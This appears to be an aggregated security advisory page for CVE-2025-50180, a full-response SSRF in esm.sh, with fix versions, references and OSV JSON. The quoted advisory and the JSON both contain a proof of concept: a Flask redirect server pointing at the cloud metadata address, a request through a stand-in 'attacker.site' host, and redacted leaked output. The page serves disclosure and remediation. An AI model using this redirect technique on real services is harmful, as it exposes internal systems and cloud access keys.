CVE-2025-50180: Github.com/esm dev/esm.sh Esm.sh Is Vulnerable To Full-response Vulnerability

HIGH
Advisory Identifier: GHSA-3c9r-837r-qqm4
Share
CWE-918
Published
Advisory Summary

CVE-2025-50180 is a HIGH esm.sh is vulnerable to full-response vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/esm dev/esm.sh libraries in the Go ecosystem. The issue involves esm.sh is vulnerable to full-response ssrf. Remediation is available by upgrading affected packages to version 0.0.0-20250616164159-0593516c4cfa.

CVE-2025-50180 at a Glance

CVE Identifier CVE-2025-50180
GHSA Identifier GHSA-3c9r-837r-qqm4
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Github.com/esm dev/esm.sh
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2025-50180

To remediate this vulnerability, upgrade all affected Github.com/esm dev/esm.sh dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/esm-dev/esm.sh fixed: 0.0.0-20250616164159-0593516c4cfa 
Upgrade github.com/esm-dev/esm.sh to 0.0.0-20250616164159-0593516c4cfa
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for github.com/esm-dev/esm.sh

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-50180, inspect your project dependencies for Github.com/esm dev/esm.sh:

inspect dependencies for github.com/esm-dev/esm.sh

Analyze the terminal output to locate any version of Github.com/esm dev/esm.sh in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20250616164159-0593516c4cfa), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Github.com/esm dev/esm.sh, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability. ### Details Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511 If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address. eg: https://esm.sh/https://local.site/test.md ``` ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css" ``` A 302 redirect can be used to bypass the suffix restriction. eg: https://esm.sh/https://attacker.site/test.md https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json ### PoC Use Flask to start a server that returns a 302 redirect. ```python from flask import Flask, redirect app = Flask(__name__) @app.route('/test.md') def redirect_test(): return redirect("http://169.254.169.254/v1.json", code=302) if __name__ == '__main__': app.run(host='0.0.0.0', port=80) ``` Let esh.sh visit this site. https://esm.sh/https://attacker.site/test.md Attacker can obtain data from http://169.254.169.254/v1.json. ``` var t=`<p>&lbrace;&quot;bgp&quot;:&lbrace;&quot;ipv4&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;&rbrace;,&quot;hostname&quot;:&quot;****&quot;,&quot;instance-v2-id&quot;:&quot;****&quot;,&quot;instanceid&quot;:&quot;****&quot;,&quot;interfaces&quot;:[&lbrace;&quot;ipv4&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;gateway&quot;:&quot;****&quot;,&quot;netmask&quot;:&quot;****&quot;,&quot;routes&quot;:[&lbrace;&quot;netmask&quot;:32,&quot;network&quot;:&quot;****&quot;&rbrace;]&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;network&quot;:&quot;****&quot;,&quot;prefix&quot;:&quot;64&quot;&rbrace;,&quot;mac&quot;:&quot;****&quot;,&quot;network-type&quot;:&quot;public&quot;&rbrace;],&quot;nvidia-driver&quot;:[],&quot;public-keys&quot;:[&quot;****&quot;],&quot;region&quot;:&lbrace;&quot;countrycode&quot;:&quot;US&quot;,&quot;regioncode&quot;:&quot;SJC&quot;&rbrace;,&quot;tags&quot;:[]&rbrace;</p> `,o={},u=t;export{u as default,t as html,o as meta}; ``` Decode the data (redacted) . ```json {"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]} ``` ### Impact An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address. ### Fix It is recommended to use `safeurl.Client` as a replacement for `http.Client`. https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13 https://github.com/doyensec/safeurl

CVE-2025-50180 Affected Github.com/esm dev/esm.sh Versions

1 component(s)
Fixed Versions:
0.0.0-20250616164159-0593516c4cfa
Product / Package Ecosystem Affected Versions Fixed Version
github.com/esm-dev/esm.sh
golang/github.com/esm-dev/esm.sh
Go
< 0.0.0-20250616164159-0593516c4cfa
0.0.0-20250616164159-0593516c4cfa

References

GitHub Advisory / Wiki ADVISORY
https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4
NVD — CVE-2025-50180 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-50180
Github.com/esm dev/esm.sh Source Repository REPOSITORY
https://github.com/esm-dev/esm.sh/pull/1149
Security Fix Commit FIX COMMIT
https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0
Github.com/esm dev/esm.sh Source Repository REPOSITORY
https://github.com/esm-dev/esm.sh
Github.com/esm dev/esm.sh Source Repository REPOSITORY
https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13
Github.com/esm dev/esm.sh Source Repository REPOSITORY
https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511
Github.com/esm dev/esm.sh Release RELEASE
https://github.com/esm-dev/esm.sh/releases/tag/v137

Frequently Asked Questions

What is CVE-2025-50180?
CVE-2025-50180 is a security vulnerability in Github.com/esm dev/esm.sh involving esm.sh is vulnerable to full-response SSRF under CWE-918: Server-Side Request Forgery (SSRF).
Which Github.com/esm dev/esm.sh versions are affected?
Affected versions include releases prior to 0.0.0-20250616164159-0593516c4cfa across affected packages: github.com/esm-dev/esm.sh.
What version fixes CVE-2025-50180?
Upgrading to 0.0.0-20250616164159-0593516c4cfa (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/esm-dev/esm.sh affected?
Yes, github.com/esm-dev/esm.sh is affected in releases prior to 0.0.0-20250616164159-0593516c4cfa. Upgrade your dependency to 0.0.0-20250616164159-0593516c4cfa or later.
What CWE is associated with CVE-2025-50180?
CVE-2025-50180 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Go dependencies for CVE-2025-50180?
Run the dependency tree command: 'inspect dependencies for github.com/esm-dev/esm.sh'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3c9r-837r-qqm4",
  "modified" : "2026-02-27T20:56:15Z",
  "published" : "2026-02-25T15:19:41Z",
  "aliases" : [ "CVE-2025-50180" ],
  "summary" : "esm.sh is vulnerable to full-response SSRF",
  "details" : "### Summary\n\nesh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.\n\n### Details\n\nVulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511\n\nIf the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.\n\neg: https://esm.sh/https://local.site/test.md\n\n```\n\".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"\n```\n\nA 302 redirect can be used to bypass the suffix restriction.\n\neg: https://esm.sh/https://attacker.site/test.md \n\nhttps://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json\n\n### PoC\n\nUse Flask to start a server that returns a 302 redirect.\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/test.md')\ndef redirect_test():\n    return redirect(\"http://169.254.169.254/v1.json\", code=302)\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=80)\n```\n\nLet esh.sh visit this site.\n\nhttps://esm.sh/https://attacker.site/test.md\n\nAttacker can obtain data from http://169.254.169.254/v1.json.\n\n```\nvar t=`<p>&lbrace;&quot;bgp&quot;:&lbrace;&quot;ipv4&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;&rbrace;,&quot;hostname&quot;:&quot;****&quot;,&quot;instance-v2-id&quot;:&quot;****&quot;,&quot;instanceid&quot;:&quot;****&quot;,&quot;interfaces&quot;:[&lbrace;&quot;ipv4&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;gateway&quot;:&quot;****&quot;,&quot;netmask&quot;:&quot;****&quot;,&quot;routes&quot;:[&lbrace;&quot;netmask&quot;:32,&quot;network&quot;:&quot;****&quot;&rbrace;]&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;****&quot;,&quot;network&quot;:&quot;****&quot;,&quot;prefix&quot;:&quot;64&quot;&rbrace;,&quot;mac&quot;:&quot;****&quot;,&quot;network-type&quot;:&quot;public&quot;&rbrace;],&quot;nvidia-driver&quot;:[],&quot;public-keys&quot;:[&quot;****&quot;],&quot;region&quot;:&lbrace;&quot;countrycode&quot;:&quot;US&quot;,&quot;regioncode&quot;:&quot;SJC&quot;&rbrace;,&quot;tags&quot;:[]&rbrace;</p>\n`,o={},u=t;export{u as default,t as html,o as meta};\n```\n\nDecode the data (redacted) .\n\n```json\n{\"bgp\":{\"ipv4\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"},\"ipv6\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"}},\"hostname\":\"****\",\"instance-v2-id\":\"****\",\"instanceid\":\"****\",\"interfaces\":[{\"ipv4\":{\"additional\":[],\"address\":\"****\",\"gateway\":\"****\",\"netmask\":\"****\",\"routes\":[{\"netmask\":32,\"network\":\"****\"}]},\"ipv6\":{\"additional\":[],\"address\":\"****\",\"network\":\"****\",\"prefix\":\"64\"},\"mac\":\"****\",\"network-type\":\"public\"}],\"nvidia-driver\":[],\"public-keys\":[\"****\"],\"region\":{\"countrycode\":\"US\",\"regioncode\":\"SJC\"},\"tags\":[]}\n```\n\n### Impact\n\nAn attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.\n\n### Fix\n\nIt is recommended to use `safeurl.Client` as a replacement for `http.Client`.\n\nhttps://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13\n\nhttps://github.com/doyensec/safeurl",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/esm-dev/esm.sh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20250616164159-0593516c4cfa"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-50180"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/pull/1149"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/esm-dev/esm.sh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/releases/tag/v137"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T15:19:41Z",
    "nvd_published_at" : "2026-02-25T16:23:21Z"
  }
}